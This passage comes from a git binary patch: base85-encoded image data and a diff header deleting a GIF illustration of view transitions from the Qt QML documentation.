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 L=l|e;vhV)@pX3P- diff --git a/src/qml/doc/images/viewtransitions-intermediatemove.gif b/src/qml/doc/images/viewtransitions-intermediatemove.gif deleted file mode 100644 index e826183b19a24de9c646ab54d1e2e6b4b61d7383..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 109530 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 